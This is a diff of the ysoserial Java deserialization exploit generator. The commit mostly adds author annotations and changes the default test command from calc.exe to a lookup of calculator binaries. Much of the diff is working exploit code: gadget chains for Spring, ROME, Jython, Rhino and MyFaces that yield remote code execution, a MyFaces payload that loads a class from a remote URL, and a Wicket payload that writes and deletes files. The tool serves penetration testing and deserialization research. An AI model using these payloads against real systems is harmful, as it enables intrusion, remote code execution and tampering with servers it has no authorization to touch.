import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.annotation.PayloadTest;
@@ -41,8 +42,9 @@ import ysoserial.payloads.util.PayloadRunner;
@PayloadTest(skip="non RCE") @PayloadTest(skip="non RCE")
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) @SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({ "org.python:jython-standalone:2.5.2" }) @Dependencies({ "org.python:jython-standalone:2.5.2" })
@Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711 })
public class Jython1 extends PayloadRunner implements ObjectPayload<PriorityQueue> { public class Jython1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception { public PriorityQueue getObject(String command) throws Exception {
String[] paths = command.split(";"); String[] paths = command.split(";");
@@ -99,7 +101,7 @@ public class Jython1 extends PayloadRunner implements ObjectPayload<PriorityQueu
return priorityQueue; return priorityQueue;
} }
public static void main(final String[] args) throws Exception { public static void main(final String[] args) throws Exception {
PayloadRunner.run(Jython1.class, args); PayloadRunner.run(Jython1.class, args);
} }
@@ -2,6 +2,7 @@ package ysoserial.payloads;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.mozilla.javascript.*; import org.mozilla.javascript.*;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
@@ -16,6 +17,7 @@ import java.lang.reflect.Method;
*/ */
@SuppressWarnings({"rawtypes", "unchecked"}) @SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"rhino:js:1.7R2"}) @Dependencies({"rhino:js:1.7R2"})
@Authors({ Authors.MBECHLER })
public class MozillaRhino1 implements ObjectPayload<Object> { public class MozillaRhino1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception { public Object getObject(final String command) throws Exception {
@@ -63,4 +65,4 @@ public class MozillaRhino1 implements ObjectPayload<Object> {
public static void main(final String[] args) throws Exception { public static void main(final String[] args) throws Exception {
PayloadRunner.run(MozillaRhino1.class, args); PayloadRunner.run(MozillaRhino1.class, args);
} }
} }
+10 -8
View File
@@ -15,6 +15,7 @@ import org.apache.myfaces.el.CompositeELResolver;
import org.apache.myfaces.el.unified.FacesELContext; import org.apache.myfaces.el.unified.FacesELContext;
import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression; import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
@@ -22,35 +23,36 @@ import ysoserial.payloads.util.Reflections;
/** /**
* *
* ValueExpressionImpl.getValue(ELContext) * ValueExpressionImpl.getValue(ELContext)
* ValueExpressionMethodExpression.getMethodExpression(ELContext) * ValueExpressionMethodExpression.getMethodExpression(ELContext)
* ValueExpressionMethodExpression.getMethodExpression() * ValueExpressionMethodExpression.getMethodExpression()
* ValueExpressionMethodExpression.hashCode() * ValueExpressionMethodExpression.hashCode()
* HashMap<K,V>.hash(Object) * HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream) * HashMap<K,V>.readObject(ObjectInputStream)
* *
* Arguments: * Arguments:
* - an EL expression to execute * - an EL expression to execute
* *
* Requires: * Requires:
* - MyFaces * - MyFaces
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
* *
* @author mbechler * @author mbechler
*/ */
@PayloadTest(skip="Requires running MyFaces, no direct execution") @PayloadTest(skip="Requires running MyFaces, no direct execution")
@Authors({ Authors.MBECHLER })
public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies { public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
public Object getObject ( String command ) throws Exception { public Object getObject ( String command ) throws Exception {
return makeExpressionPayload(command); return makeExpressionPayload(command);
} }
public static String[] getDependencies () { public static String[] getDependencies () {
if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) { if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) {
return new String[] { return new String[] {
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"org.mortbay.jasper:apache-el:8.0.27", "org.mortbay.jasper:apache-el:8.0.27",
"javax.servlet:javax.servlet-api:3.1.0", "javax.servlet:javax.servlet-api:3.1.0",
@@ -59,7 +61,7 @@ public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
}; };
} else if ( "juel".equals(System.getProperty("el")) ) { } else if ( "juel".equals(System.getProperty("el")) ) {
return new String[] { return new String[] {
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7", "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
"javax.servlet:javax.servlet-api:3.1.0", "javax.servlet:javax.servlet-api:3.1.0",
@@ -76,7 +78,7 @@ public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext); Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
+12 -10
View File
@@ -2,38 +2,40 @@ package ysoserial.payloads;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
/** /**
* *
* ValueExpressionImpl.getValue(ELContext) * ValueExpressionImpl.getValue(ELContext)
* ValueExpressionMethodExpression.getMethodExpression(ELContext) * ValueExpressionMethodExpression.getMethodExpression(ELContext)
* ValueExpressionMethodExpression.getMethodExpression() * ValueExpressionMethodExpression.getMethodExpression()
* ValueExpressionMethodExpression.hashCode() * ValueExpressionMethodExpression.hashCode()
* HashMap<K,V>.hash(Object) * HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream) * HashMap<K,V>.readObject(ObjectInputStream)
* *
* Arguments: * Arguments:
* - base_url:classname * - base_url:classname
* *
* Yields: * Yields:
* - Instantiation of remotely loaded class * - Instantiation of remotely loaded class
* *
* Requires: * Requires:
* - MyFaces * - MyFaces
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
* *
* @author mbechler * @author mbechler
*/ */
@PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" ) @PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" )
@Authors({ Authors.MBECHLER })
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies { public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
public static String[] getDependencies () { public static String[] getDependencies () {
return Myfaces1.getDependencies(); return Myfaces1.getDependencies();
} }
public Object getObject ( String command ) throws Exception { public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':'); int sep = command.lastIndexOf(':');
@@ -43,17 +45,17 @@ public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
String url = command.substring(0, sep); String url = command.substring(0, sep);
String className = command.substring(sep + 1); String className = command.substring(sep + 1);
// based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}"; String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}";
// if we add fewer than the actual classloaders we end up with a null entry // if we add fewer than the actual classloaders we end up with a null entry
for ( int i = 0; i < 100; i++ ) { for ( int i = 0; i < 100; i++ ) {
expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}"; expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}";
} }
expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')"
+ ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}"; + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}";
return Myfaces1.makeExpressionPayload(expr); return Myfaces1.makeExpressionPayload(expr);
} }
+15 -13
View File
@@ -5,29 +5,31 @@ import javax.xml.transform.Templates;
import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ObjectBean;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
/** /**
* *
* TemplatesImpl.getOutputProperties() * TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) * NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[]) * NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[]) * DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...) * Method.invoke(Object, Object...)
* ToStringBean.toString(String) * ToStringBean.toString(String)
* ToStringBean.toString() * ToStringBean.toString()
* ObjectBean.toString() * ObjectBean.toString()
* EqualsBean.beanHashCode() * EqualsBean.beanHashCode()
* ObjectBean.hashCode() * ObjectBean.hashCode()
* HashMap<K,V>.hash(Object) * HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream) * HashMap<K,V>.readObject(ObjectInputStream)
* *
* @author mbechler * @author mbechler
* *
*/ */
@Dependencies("rome:rome:1.0") @Dependencies("rome:rome:1.0")
@Authors({ Authors.MBECHLER })
public class ROME implements ObjectPayload<Object> { public class ROME implements ObjectPayload<Object> {
public Object getObject ( String command ) throws Exception { public Object getObject ( String command ) throws Exception {
@@ -36,8 +38,8 @@ public class ROME implements ObjectPayload<Object> {
ObjectBean root = new ObjectBean(ObjectBean.class, delegate); ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
return Gadgets.makeMap(root, root); return Gadgets.makeMap(root, root);
} }
public static void main ( final String[] args ) throws Exception { public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(ROME.class, args); PayloadRunner.run(ROME.class, args);
} }
+15 -13
View File
@@ -10,6 +10,7 @@ import javax.xml.transform.Templates;
import org.springframework.beans.factory.ObjectFactory; import org.springframework.beans.factory.ObjectFactory;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
@@ -19,7 +20,7 @@ import ysoserial.payloads.util.Reflections;
/* /*
Gadget chain: Gadget chain:
ObjectInputStream.readObject() ObjectInputStream.readObject()
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
SerializableTypeWrapper.TypeProvider(Proxy).getType() SerializableTypeWrapper.TypeProvider(Proxy).getType()
@@ -28,14 +29,14 @@ import ysoserial.payloads.util.Reflections;
ReflectionUtils.findMethod() ReflectionUtils.findMethod()
SerializableTypeWrapper.TypeProvider(Proxy).getType() SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.invoke()
HashMap.get() HashMap.get()
ReflectionUtils.invokeMethod() ReflectionUtils.invokeMethod()
Method.invoke() Method.invoke()
Templates(Proxy).newTransformer() Templates(Proxy).newTransformer()
AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke() AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
ObjectFactory(Proxy).getObject() ObjectFactory(Proxy).getObject()
AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.invoke()
HashMap.get() HashMap.get()
Method.invoke() Method.invoke()
TemplatesImpl.newTransformer() TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance() TemplatesImpl.getTransletInstance()
@@ -47,24 +48,25 @@ import ysoserial.payloads.util.Reflections;
*/ */
@SuppressWarnings({"rawtypes"}) @SuppressWarnings({"rawtypes"})
@Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"})
@PayloadTest ( precondition = "isApplicableJavaVersion") @PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"})
@Authors({ Authors.FROHOFF })
public class Spring1 extends PayloadRunner implements ObjectPayload<Object> { public class Spring1 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception { public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command); final Object templates = Gadgets.createTemplatesImpl(command);
final ObjectFactory objectFactoryProxy = final ObjectFactory objectFactoryProxy =
Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler)
Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler") Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
.newInstance(objectFactoryProxy), Type.class, Templates.class); .newInstance(objectFactoryProxy), Type.class, Templates.class);
final Object typeProviderProxy = Gadgets.createMemoitizedProxy( final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
Gadgets.createMap("getType", typeTemplatesProxy), Gadgets.createMap("getType", typeTemplatesProxy),
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0); final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
Reflections.setFieldValue(mitp, "methodName", "newTransformer"); Reflections.setFieldValue(mitp, "methodName", "newTransformer");
@@ -11,6 +11,7 @@ import javax.xml.transform.Templates;
import org.springframework.aop.framework.AdvisedSupport; import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.SingletonTargetSource; import org.springframework.aop.target.SingletonTargetSource;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
@@ -20,9 +21,9 @@ import ysoserial.payloads.util.Reflections;
/** /**
* *
* Just a PoC to proof that the ObjectFactory stuff is not the real problem. * Just a PoC to proof that the ObjectFactory stuff is not the real problem.
* *
* Gadget chain: * Gadget chain:
* TemplatesImpl.newTransformer() * TemplatesImpl.newTransformer()
* Method.invoke(Object, Object...) * Method.invoke(Object, Object...)
@@ -31,16 +32,17 @@ import ysoserial.payloads.util.Reflections;
* $Proxy0.newTransformer() * $Proxy0.newTransformer()
* Method.invoke(Object, Object...) * Method.invoke(Object, Object...)
* SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(ObjectInputStream) * SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(ObjectInputStream)
* *
* @author mbechler * @author mbechler
*/ */
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies ( { @Dependencies ( {
"org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE", "org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE",
// test deps // test deps
"aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2" "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2"
} ) } )
@PayloadTest ( precondition = "isApplicableJavaVersion") @Authors({ Authors.MBECHLER })
public class Spring2 extends PayloadRunner implements ObjectPayload<Object> { public class Spring2 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject ( final String command ) throws Exception { public Object getObject ( final String command ) throws Exception {
@@ -67,9 +69,8 @@ public class Spring2 extends PayloadRunner implements ObjectPayload<Object> {
public static void main ( final String[] args ) throws Exception { public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Spring2.class, args); PayloadRunner.run(Spring2.class, args);
} }
public static boolean isApplicableJavaVersion() { public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl(); return JavaVersion.isAnnInvHUniversalMethodImpl();
} }
} }
+11 -9
View File
@@ -7,6 +7,7 @@ import java.net.URLStreamHandler;
import java.util.HashMap; import java.util.HashMap;
import java.net.URL; import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
@@ -16,18 +17,18 @@ import ysoserial.payloads.util.Reflections;
* A blog post with more details about this gadget chain is at the url below: * A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/ * https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
* *
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog * This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget * posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates * in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just * the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes. * standard JDK classes.
* *
* The Java URL class has an interesting property on its equals and * The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup * hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode). * during a comparison (either equals or hashCode).
* *
* As part of deserialization, HashMap calls hashCode on each key that it * As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows * deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup. * it to trigger a DNS lookup.
* *
* Gadget Chain: * Gadget Chain:
@@ -35,11 +36,12 @@ import ysoserial.payloads.util.Reflections;
* HashMap.putVal() * HashMap.putVal()
* HashMap.hash() * HashMap.hash()
* URL.hashCode() * URL.hashCode()
* *
* *
*/ */
@SuppressWarnings({ "rawtypes", "unchecked" }) @SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies() @Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> { public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception { public Object getObject(final String url) throws Exception {
+10 -8
View File
@@ -11,6 +11,7 @@ import org.apache.wicket.util.upload.DiskFileItem;
import org.apache.wicket.util.io.DeferredFileOutputStream; import org.apache.wicket.util.io.DeferredFileOutputStream;
import org.apache.wicket.util.io.ThresholdingOutputStream; import org.apache.wicket.util.io.ThresholdingOutputStream;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
@@ -23,10 +24,10 @@ import ysoserial.payloads.util.Reflections;
* means that if the target is running less than Oracle Java 7 update 40 * means that if the target is running less than Oracle Java 7 update 40
* then the NULL byte attack is viable. Otherwise, copy and move attacks * then the NULL byte attack is viable. Otherwise, copy and move attacks
* always work. * always work.
* *
* This attack is valid for the 1.x and 6.x lines of Apache Wicket but * This attack is valid for the 1.x and 6.x lines of Apache Wicket but
* was fixed in 1.5.16 and 6.24.0 (released July 2016). * was fixed in 1.5.16 and 6.24.0 (released July 2016).
* *
* *
* Arguments: * Arguments:
* - copyAndDelete;sourceFile;destDir * - copyAndDelete;sourceFile;destDir
@@ -34,17 +35,18 @@ import ysoserial.payloads.util.Reflections;
* - writeB64;destDir;base64-data * - writeB64;destDir;base64-data
* - writeOld;destFile;ascii-data * - writeOld;destFile;ascii-data
* - writeOldB64;destFile;base64-data * - writeOldB64;destFile;base64-data
* *
* Example: * Example:
* Wicket1 "write;/tmp;blue lobster" * Wicket1 "write;/tmp;blue lobster"
* *
* Result: * Result:
* $ ls -l /tmp/ * $ ls -l /tmp/
* -rw-rw-r-- 1 albino_lobster albino_lobster 12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp * -rw-rw-r-- 1 albino_lobster albino_lobster 12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
* $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
* blue lobster * blue lobster
*/ */
@Dependencies({"wicket-util:wicket-util:6.23"}) @Dependencies({"wicket-util:wicket-util:6.23"})
@Authors({ Authors.JACOBAINES })
public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> { public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
public DiskFileItem getObject(String command) throws Exception { public DiskFileItem getObject(String command) throws Exception {
@@ -54,7 +56,7 @@ public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
if (parts.length != 3) { if (parts.length != 3) {
throw new IllegalArgumentException("Bad command format."); throw new IllegalArgumentException("Bad command format.");
} }
if ("copyAndDelete".equals(parts[0])) { if ("copyAndDelete".equals(parts[0])) {
return copyAndDelete(parts[1], parts[2]); return copyAndDelete(parts[1], parts[2]);
} }
@@ -73,7 +75,7 @@ public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
} }
public void release(DiskFileItem obj) throws Exception { public void release(DiskFileItem obj) throws Exception {
} }
private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {
@@ -108,4 +110,4 @@ public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
public static void main ( final String[] args ) throws Exception { public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(FileUpload1.class, args); PayloadRunner.run(FileUpload1.class, args);
} }
} }
@@ -0,0 +1,33 @@
package ysoserial.payloads.annotation;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import java.lang.reflect.AnnotatedElement;
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface Authors {
String FROHOFF = "frohoff";
String PWNTESTER = "pwntester";
String CSCHNEIDER4711 = "cschneider4711";
String MBECHLER = "mbechler";
String JACKOFMOSTTRADES = "JackOfMostTrades";
String MATTHIASKAISER = "matthias_kaiser";
String GEBL = "gebl" ;
String JACOBAINES = "jacob-baines";
String[] value() default {};
public static class Utils {
public static String[] getAuthors(AnnotatedElement annotated) {
Authors authors = annotated.getAnnotation(Authors.class);
if (authors != null && authors.value() != null) {
return authors.value();
} else {
return new String[0];
}
}
}
}
@@ -20,5 +20,14 @@ public @interface Dependencies {
return new String[0]; return new String[0];
} }
} }
public static String[] getDependenciesSimple(AnnotatedElement annotated) {
String[] deps = getDependencies(annotated);
String[] simple = new String[deps.length];
for (int i = 0; i < simple.length; i++) {
simple[i] = deps[i].split(":", 2)[1];
}
return simple;
}
} }
} }
@@ -1,5 +1,6 @@
package ysoserial.payloads.util; package ysoserial.payloads.util;
import java.io.File;
import java.util.concurrent.Callable; import java.util.concurrent.Callable;
import ysoserial.Deserializer; import ysoserial.Deserializer;
@@ -15,11 +16,12 @@ import ysoserial.secmgr.ExecCheckingSecurityManager;
*/ */
@SuppressWarnings("unused") @SuppressWarnings("unused")
public class PayloadRunner { public class PayloadRunner {
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// ensure payload generation doesn't throw an exception // ensure payload generation doesn't throw an exception
byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){ byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
public byte[] call() throws Exception { public byte[] call() throws Exception {
final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe"; final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
System.out.println("generating payload object(s) for command: '" + command + "'"); System.out.println("generating payload object(s) for command: '" + command + "'");
@@ -41,4 +43,21 @@ public class PayloadRunner {
} }
private static String getDefaultTestCmd() {
return getFirstExistingFile(
"C:\\Windows\\System32\\calc.exe",
"/Applications/Calculator.app/Contents/MacOS/Calculator",
"/usr/bin/gnome-calculator",
"/usr/bin/kcalc"
);
}
private static String getFirstExistingFile(String ... files) {
for (String path : files) {
if (new File(path).exists()) {
return path;
}
}
throw new UnsupportedOperationException("no known test executable");
}
} }
@@ -107,7 +107,7 @@ public class PayloadsTest {
if ( wrapper instanceof CustomPayloadArgs ) { if ( wrapper instanceof CustomPayloadArgs ) {
payloadCommand = ( (CustomPayloadArgs) wrapper ).getPayloadArgs(); payloadCommand = ( (CustomPayloadArgs) wrapper ).getPayloadArgs();
} }
if ( wrapper instanceof CustomDeserializer ) { if ( wrapper instanceof CustomDeserializer ) {
customDeserializer = ((CustomDeserializer)wrapper).getCustomDeserializer(); customDeserializer = ((CustomDeserializer)wrapper).getCustomDeserializer();
} }
@@ -210,9 +210,9 @@ public class PayloadsTest {
} }
byte[] deserializerClassBytes = ClassFiles.classAsBytes(Deserializer.class); byte[] deserializerClassBytes = ClassFiles.classAsBytes(Deserializer.class);
defineClass(Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); defineClass(Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
if ( customDeserializer != null ) { if ( customDeserializer != null ) {
try { try {
Method method = customDeserializer.getMethod("getExtraDependencies"); Method method = customDeserializer.getMethod("getExtraDependencies");
for ( Class extra : (Class[])method.invoke(null)) { for ( Class extra : (Class[])method.invoke(null)) {
@@ -220,11 +220,11 @@ public class PayloadsTest {
defineClass(extra.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); defineClass(extra.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
} }
} catch ( NoSuchMethodException e ) { } } catch ( NoSuchMethodException e ) { }
deserializerClassBytes = ClassFiles.classAsBytes(customDeserializer); deserializerClassBytes = ClassFiles.classAsBytes(customDeserializer);
defineClass(customDeserializer.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); defineClass(customDeserializer.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
} }
} }
}; };